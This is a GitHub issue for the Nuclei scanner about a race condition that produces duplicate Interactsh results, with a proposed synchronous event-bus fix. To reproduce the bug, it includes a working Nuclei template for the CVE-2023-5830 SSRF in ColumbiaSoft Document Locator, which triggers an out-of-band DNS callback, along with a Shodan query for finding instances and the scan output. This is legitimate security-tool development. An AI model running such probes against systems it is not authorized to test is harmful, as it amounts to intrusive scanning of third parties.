Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Interactsh Result Syncronization Issue causes duplicate output sometimes #4980

Open
tarunKoyalwar opened this issue Apr 2, 2024 · 1 comment · May be fixed by #5029
Open

Interactsh Result Syncronization Issue causes duplicate output sometimes #4980

tarunKoyalwar opened this issue Apr 2, 2024 · 1 comment · May be fixed by #5029
Assignees
@Mzack9999
Labels
Type: Bug Inconsistencies or issues which will cause an issue or problem for users or implementors. Type: Discussion Some ideas need to be planned and disucssed to come to a strategy.

Comments

@tarunKoyalwar
Copy link
Member

tarunKoyalwar commented Apr 2, 2024 •
edited

Nuclei version:

main | dev

Current Behavior:

In Nuclei , we currently have two locations where results are stored/written

  • tmplexec package
  • protocols/common/interactsh package

this issue is only related to cases where interactsh is used in template and due to fallback behaviour we have for it

fallback behaviour

  • when template sends multiple requests or even one request and has interactsh matchers then it may not return results immediately , it might take 5s , 10s or maybe more , to handle this we implement two strategies
  • interactsh-cooldown-period => this is global cooldown period of interactsh
  • Result Event Cache => for all templates that uses oast we store current event (req/resp) and other template metadata related to that specific request in gcache . and this result event cache is used when interaction is recieved later on say after 10sec

This way we do not miss any potential oast interactions , but as we call tell this causes a race to write results in tmplexec and protocols/common/interactsh,

  • earlier it was observed that usually tmplexec is triggered first and then later on write is triggered in protocols/common/interactsh . so to handle this we introduced a atomic boolean switch
  • but now it seems like there is data race between these two and not necessarily in order .
  • and adding a mutex to wrappedEvent copies it by value (😢 )
  • we could refactor to fix this but there are other edgecases involved ex: multiple http request with shared interactsh matchers :\

Anything else:

  • maybe we can try to handle this at scheduler level ?
  • or evaluate on eviction ?
  • or move state in scan context and syncronize it scan context instead ?
id: CVE-2023-5830

info:
  name: ColumbiaSoft DocumentLocator - Improper Authentication
  author: Gonski
  severity: critical
  description: |
    Instances of ColumbiaSoft's Document Locator prior to version 7.2 SP4 and 2021.1 are vulnerable to an Improper Authentication/SSRF vulnerability. This template identifies vulnerable instances of the ColumbiaSoft Document Locater application by confirming external DNS interaction/lookups by modifying the value of the client-side SERVER parameter at /api/authentication/login.
  impact: |
    An attacker could exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade to a patched version of ColumbiaSoft DocumentLocator to fix the improper authentication issue.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5830
    - https://vuldb.com/?ctiid.243729
    - https://github.com/advisories/GHSA-j89v-wm7x-4434
    - https://vuldb.com/?id.243729
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5830
    cwe-id: CWE-287
    epss-score: 0.00091
    epss-percentile: 0.37579
    cpe: cpe:2.3:a:documentlocator:document_locator:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: documentlocator
    product: document_locator
    shodan-query: 'title:"Document Locator - WebTools"'
  tags: cve,cve2023,ssrf,unauth,columbiasoft,intrusive,webtools

http:
  - raw:
      - |
        @timeout: 20s
        POST /api/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}
        
        {
          "LoginType":"differentWindows",
          "User":"{{randstr}}",
          "Password":"{{rand_base(5, "abc")}}",
          "Domain":"{{randstr}}",
          "Server":"{{interactsh-url}}",
          "Repository":"{{randstr}}"
        }
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '"Authorized":false'
$ ./nuclei -u $TARGET -t a.yaml -v -ms 

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.2.3-dev

		projectdiscovery.io

[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.2.3-dev (development)
[INF] Current nuclei-templates version: v9.8.0 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 85
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Using Interactsh Server: oast.pro
[VER] [CVE-2023-5830] Sent HTTP request to $TARGET/api/authentication/login
[CVE-2023-5830] [matched] [http] [critical] $TARGET/api/authentication/login
[CVE-2023-5830] [matched] [http] [critical] $TARGET/api/authentication/login
@tarunKoyalwar tarunKoyalwar added Type: Bug Inconsistencies or issues which will cause an issue or problem for users or implementors. Type: Discussion Some ideas need to be planned and disucssed to come to a strategy. labels Apr 2, 2024
@tarunKoyalwar tarunKoyalwar mentioned this issue Apr 2, 2024
Merged
@Mzack9999
Copy link
Member

Since the whole issue appears to be the mix of asynchronous/periodic polling + callback, I think we should change the approach we are using and try to make it synchronous.
For example we can introduce a shared event bus as a start, where interactsh publishes upon receiving data to queue with a specific subject (for example correlation-id that identifies a group uniquely), the caller thread will put itself in wait mode on this specific id:

Before:

request.options.Interactsh.RequestEvent(...)

After:

...
select {
    case eventbus.WaitFor(xxx.CorrelationId):
       // actual code from request.options.Interactsh.RequestEvent(..)
    case time.After(interactsh_cooldown):
}
...

Unless I'm missing something this would fix the following issues:

  • The race conditions would be solved by design as the processing would happen within the caller context in syncronous blocking mode and not anymore within pkg/protocols/common/interactsh/interactsh.go in deferred mode with the need of shared atomic boolean or modify the structure from different components
  • The continous polling and the final evict would be merged into a unique waiting logic with the advantages of both. Upon arrival the interactions would be processed and the caller can decide to stop anytime at first match or whatver, and the queue would be deleted on eviction, unblocking the caller and freeing the thread.
  • In case of a blocked thread on waiting before eviction, we can avoid slowdown through Initial Refactor for speed control #4986 (freeing the waitgroup token or increasing it upon need), similarly to how the go scheduler put idle go routines apart and start a new thread

This was referenced Apr 8, 2024
Draft
Open
@Mzack9999 Mzack9999 linked a pull request Apr 10, 2024 that will close this issue
Moving failure check past interactsh eviction #5029
Open
4 tasks
@tarunKoyalwar tarunKoyalwar removed their assignment Apr 10, 2024
@Mzack9999 Mzack9999 mentioned this issue Apr 15, 2024
Open
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees

@Mzack9999 Mzack9999

Labels
Type: Bug Inconsistencies or issues which will cause an issue or problem for users or implementors. Type: Discussion Some ideas need to be planned and disucssed to come to a strategy.
Projects
None yet
Milestone
No milestone
Development

Successfully merging a pull request may close this issue.

Moving failure check past interactsh eviction projectdiscovery/nuclei
2 participants
@Mzack9999 @tarunKoyalwar